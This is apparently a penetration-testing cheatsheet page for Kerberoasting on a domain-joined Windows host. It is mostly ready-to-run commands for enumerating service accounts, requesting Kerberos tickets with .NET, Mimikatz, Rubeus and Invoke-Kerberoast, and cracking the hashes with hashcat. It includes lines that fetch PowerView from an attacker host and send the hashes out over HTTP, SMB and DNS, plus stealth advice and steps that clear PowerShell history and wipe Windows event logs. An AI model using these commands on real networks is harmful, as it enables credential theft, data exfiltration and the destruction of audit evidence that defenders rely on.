AD^:Active Directory

Kerberoasting — Local On-Host

[1] Enumerate SPNs → [2] Request TGS Ticket → [3] Extract Hash → [4] Crack Offline

advancedupdated 2026-08-10Impacket · Mimikatz · Rubeus · Hashcat

🎟️ Kerberoasting — Local / On-Host Cheatsheet

Focused on techniques executable directly on a domain-joined Windows machine using native tools, .NET, and in-memory methods (LOTL).


⚡ Quick Reference — Attack Flow

[1] Enumerate SPNs  →  [2] Request TGS Ticket  →  [3] Extract Hash  →  [4] Crack Offline

🔎 Phase 1 — SPN Enumeration (No Tools Required)

Built-in setspn.exe

:: All SPNs in the domain
setspn -T DOMAIN.LOCAL -Q */*

:: All SPNs on a specific host
setspn -L hostname

:: Find SQL SPNs specifically
setspn -T DOMAIN.LOCAL -Q MSSQLSvc/*

:: Find HTTP SPNs
setspn -T DOMAIN.LOCAL -Q HTTP/*

Native PowerShell + .NET (No Imports)

# Enumerate all user accounts with SPNs via ADSI
$search = New-Object DirectoryServices.DirectorySearcher
$search.Filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$search.PropertiesToLoad.AddRange(@("samaccountname","serviceprincipalname","pwdlastset"))
$results = $search.FindAll()
$results | ForEach-Object {
    Write-Host "User: $($_.Properties['samaccountname'])"
    Write-Host "SPN:  $($_.Properties['serviceprincipalname'])"
    Write-Host "PwdLastSet: $($_.Properties['pwdlastset'])"
    Write-Host "---"
}

Active Directory PowerShell Module (if available)

# Import module (requires RSAT or AD module)
Import-Module ActiveDirectory

# Get kerberoastable users
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
    -Properties ServicePrincipalName, PasswordLastSet, MemberOf |
    Select-Object Name, SamAccountName, ServicePrincipalName, PasswordLastSet |
    Sort-Object PasswordLastSet

# Find accounts with old passwords (easiest to crack)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
    -Properties ServicePrincipalName, PasswordLastSet |
    Where-Object { $_.PasswordLastSet -lt (Get-Date).AddYears(-1) } |
    Select-Object SamAccountName, PasswordLastSet, ServicePrincipalName

PowerView (PowerSploit)

# Load into memory (no disk drop)
iex (New-Object Net.WebClient).DownloadString('http://<attacker>/PowerView.ps1')

# Get all SPN users
Get-DomainUser -SPN | Select SamAccountName, ServicePrincipalName, PasswordLastSet

# Get specific SPN types
Get-DomainUser -SPN | Where-Object { $_.ServicePrincipalName -like "*SQL*" }

# Get kerberoastable users with admin rights (high value)
Get-DomainUser -SPN | Get-DomainGroup -MemberIdentity | Where-Object { $_.Name -like "*Admin*" }

🎯 Phase 2 — Ticket Request & Extraction

Method 1 — Pure .NET (No Tools, In-Memory)

# Request a single TGS ticket for a known SPN
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
    -ArgumentList "MSSQLSvc/sqlserver.domain.local:1433"

# Verify ticket is now in cache
klist

Method 2 — Request All SPN Tickets via .NET Loop

# Enumerate SPNs and request all tickets in one loop
Add-Type -AssemblyName System.IdentityModel

$search = New-Object DirectoryServices.DirectorySearcher
$search.Filter = "(&(objectClass=user)(servicePrincipalName=*)(!samaccountname=krbtgt))"
$search.PropertiesToLoad.Add("serviceprincipalname") | Out-Null
$search.FindAll() | ForEach-Object {
    $spn = $_.Properties['serviceprincipalname'][0]
    Write-Host "[*] Requesting ticket for: $spn"
    try {
        New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn
    } catch { Write-Host "[-] Failed: $_" }
}

# Export all tickets from memory with Mimikatz after

Method 3 — Mimikatz (Export Tickets from Memory)

# After tickets are loaded into memory via .NET above

# From Mimikatz console:
kerberos::list /export          # Export all tickets to .kirbi files

# Or directly dump hash from ticket
kerberos::ask /target:MSSQLSvc/sqlserver.domain.local:1433

Method 4 — Rubeus (C# — Drop or Load In-Memory)

# Dump all kerberoastable hashes (hashcat format)
.\Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat /nowrap

# Recon only — no ticket requests made
.\Rubeus.exe kerberoast /stats

# Target a single user
.\Rubeus.exe kerberoast /user:svc_mssql /format:hashcat /nowrap

# Force RC4 downgrade (faster to crack)
.\Rubeus.exe kerberoast /tgtdeleg /format:hashcat /nowrap

# Filter by stale passwords (high-value targets)
.\Rubeus.exe kerberoast /pwdsetbefore:01-01-2022 /format:hashcat /nowrap

# Roast a specific OU
.\Rubeus.exe kerberoast /ou:"OU=ServiceAccounts,DC=domain,DC=local" /format:hashcat

# Use an existing TGT (avoid touching your own credentials)
.\Rubeus.exe kerberoast /ticket:doIFuj[...]lDT0k= /format:hashcat /nowrap

Method 5 — Invoke-Kerberoast (PowerShell, No Binary Drop)

# Load PowerSploit PowerView
iex (New-Object Net.WebClient).DownloadString('http://<attacker>/PowerView.ps1')

# Get all hashes in Hashcat format
Invoke-Kerberoast -OutputFormat Hashcat |
    Select-Object -ExpandProperty Hash |
    Out-File -FilePath C:\Users\Public\hashes.txt -Encoding ASCII

# John format
Invoke-Kerberoast -OutputFormat John | Select-Object Hash | fl

# Target specific domain
Invoke-Kerberoast -Domain dev.corp.local -OutputFormat Hashcat | fl

# With alternate credentials
$pass = ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force
$cred = New-Object Management.Automation.PSCredential('DOMAIN\user', $pass)
Invoke-Kerberoast -Credential $cred -OutputFormat Hashcat | fl

Method 6 — LOTL via klist + certutil Exfil

:: View tickets currently cached
klist

:: Purge all tickets (cleanup)
klist purge

:: Inspect a specific ticket
klist tickets -v

📦 Phase 3 — Exfiltrate Hashes

# Base64 encode and print (easy copy-paste exfil)
$hash = Get-Content C:\Users\Public\hashes.txt
[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes($hash))

# Exfil via HTTP to attacker machine
$hash = Get-Content C:\Users\Public\hashes.txt -Raw
Invoke-WebRequest -Uri "http://<attacker>:8080/?h=$hash" -Method GET

# Exfil via SMB (if share available)
Copy-Item C:\Users\Public\hashes.txt \\<attacker>\share\hashes.txt

# DNS exfil (one chunk at a time)
$hash = (Get-Content C:\Users\Public\hashes.txt)[0]
Resolve-DnsName "$hash.<attacker-domain>"

🔨 Phase 4 — Crack Locally (Attacker Machine)

Hashcat Quick Reference

# RC4 / Type 23 — most common, fastest
hashcat -m 13100 hashes.txt rockyou.txt

# AES-128 / Type 17
hashcat -m 19600 hashes.txt rockyou.txt

# AES-256 / Type 18
hashcat -m 19700 hashes.txt rockyou.txt

# With rules (best64 = good balance)
hashcat -m 13100 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Combinator attack (wordlist + wordlist)
hashcat -m 13100 -a 1 hashes.txt words1.txt words2.txt

# Mask attack — 8 chars, Capital+lower+2digits
hashcat -m 13100 -a 3 hashes.txt ?u?l?l?l?l?l?d?d

# Resume a cracking session
hashcat -m 13100 hashes.txt rockyou.txt --restore

# Show cracked passwords
hashcat -m 13100 hashes.txt --show

John the Ripper

john --format=krb5tgs --wordlist=rockyou.txt hashes.txt
john --format=krb5tgs hashes.txt --show

🥷 Staying Stealthy — OPSEC on Host

ActionStealthy OptionWhy
EnumerationADSI .NET query or setspnLooks like admin activity
Ticket requestSingle target /user:Less noise than bulk roasting
Avoid RC4 forceRequest AES tickets0x17 etype in Event 4769 is a red flag
No binary dropPowerShell in-memoryReduces forensic artefacts
Use /stats firstRubeus recon onlyZero KDC requests
Timestamp awarenessOff-hours blendingMatch normal baseline traffic
Cleanupklist purge post-attackRemoves ticket artefacts from memory

🧹 Post-Exploitation Cleanup

# Remove exported ticket files
Remove-Item C:\Users\Public\hashes.txt -Force
Remove-Item *.kirbi -Force

# Purge Kerberos ticket cache
klist purge

# Clear PowerShell history
Clear-History
Remove-Item (Get-PSReadLineOption).HistorySavePath -Force

# Clear Windows event logs (if admin)
wevtutil cl Security
wevtutil cl System
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

🗺️ High-Value SPN Targets

SPN PrefixServiceWhy Valuable
MSSQLSvc/*SQL ServerOften runs as domain user with high privileges
HTTP/*IIS / WebMay have access to web app databases
TERMSRV/*RDP serviceLateral movement to servers
exchangeMDB/*ExchangeAccess to mail data
WSMAN/*WinRMRemote management
SPN on Domain AdminAnyInstant privilege escalation if cracked

📋 One-Liner Cheatsheet

# Full LOTL pipeline — enumerate + request + dump (no tools)
Add-Type -AssemblyName System.IdentityModel; `
(New-Object DirectoryServices.DirectorySearcher([ADSI]"", `
"(&(objectClass=user)(servicePrincipalName=*)(!samaccountname=krbtgt))", `
@("samaccountname","serviceprincipalname"))).FindAll() | % { `
    $_.Properties['serviceprincipalname'] | % { `
        try { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_ } catch {} } }; klist
# Invoke-Kerberoast one-liner (needs PowerView loaded)
Invoke-Kerberoast -OutputFormat Hashcat | % { $_.Hash } | Out-File hashes.txt -Encoding ASCII
# Remote one-liner (Impacket)
GetUserSPNs.py DOMAIN/user:pass -dc-ip <DC_IP> -request -outputfile hashes.txt && hashcat -m 13100 hashes.txt rockyou.txt
On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.